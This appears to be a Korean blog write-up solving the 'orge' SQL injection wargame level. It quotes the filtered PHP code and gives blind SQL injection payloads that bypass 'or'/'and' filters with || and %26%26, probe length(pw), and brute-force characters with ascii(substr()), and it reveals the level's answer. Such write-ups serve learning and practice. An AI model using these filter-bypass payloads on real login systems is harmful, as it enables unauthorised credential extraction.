상단에 나오는 쿼리문은 DB에 해당 쿼리문으로 데이터가 들어간다고 알려준다.
이번문제도 쿼리문을 보면 저번 문제처럼 id에 guest라는 값이 들어가 있고, pw에 값이 비어있다.
query : select id from prob_orge where id='guest' and pw=''
아래에는 php 코드가 나와있으며, 이걸 참고해서 문제를 푸는 것 이다.
해당 php 코드에서 자세하게 봐야 하는 부분은 이 부분인 것 같다.
아래 조건문을 보면 일부 문자 및 or, and 라는 문자를 대소문자 구분 없이 필터링 하고, 입력할 공간은 pw이다.
아래 조건문을 보면 일부 문자를 필터링 하며, 입력할 공간은 pw이며, DB의 결과와 입력한 pw가 같을 경우 문제가 풀린다.
id부분은 비교하는 문장이 보이지 않아서 pw 부분을 공략하면 될 것 같다.
+++코드 중간에서 addslashes 함수가 쓰이기 때문에 Blind SQL 인젝션을 사용해 pw값을 알아내야 하며, length, substr 함수가 필요하다.
if(preg_match('/prob|_|\\.|\\(\\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");
addslashes와 stripslashes 함수란?
https://lieadaon.tistory.com/363?category=890533
문제풀이 할 방법
- pw 길이 알아내기
?pw=1'||length(pw)=n%23 - pw 한 글자씩 알아내기
?pw=' or pw like 'a%
?pw=' || id='admin' %26%26 ascii(substr(pw,"+str(i)+",1))
pw의 길이와 글자 알아내기
pw 길이 알아내기
or 문자열을 필터링 하기 때문에 파이프라인( || )를 사용한다.
#은 필터링하여 주석처리가 되지 않으므로, URL 인코딩을 통해 %23으로 바꾸어 입력한다.
?pw=1'||length(pw)=1%23
?pw=1'||length(pw)=2%23
?pw=1'||length(pw)=n%23
...
?pw=1'||length(pw)=8%23 //pw의 길이는 8글자이다.
?pw=1'||length(pw)=8%23 를 입력했을 때, Hello admin이라는 문자가 나오기 때문에, pw의 값의 길이가 8글자라는 것을 알아냈다.
pw 한 글자씩 알아내기
문자열을 필터링하기 때문에 or를 우회 할 파이프라인( || )과 and를 우회 할 %26%26 를 넣는다.
URL = address + "?pw=' || id='admin' %26%26 ascii(substr(pw,"+str(i)+",1))=" + str(j) + "%23%27"
인덱스 :1---->7
인덱스 :2---->b
인덱스 :3---->7
인덱스 :4---->5
인덱스 :5---->1
인덱스 :6---->a
인덱스 :7---->e
인덱스 :8---->c
--> 7b751aec
→ 8글자인 [ 7b751aec ] 를 알아냈다.
?pw=7b751aec 를 입력했다.
문제가 클리어되었다!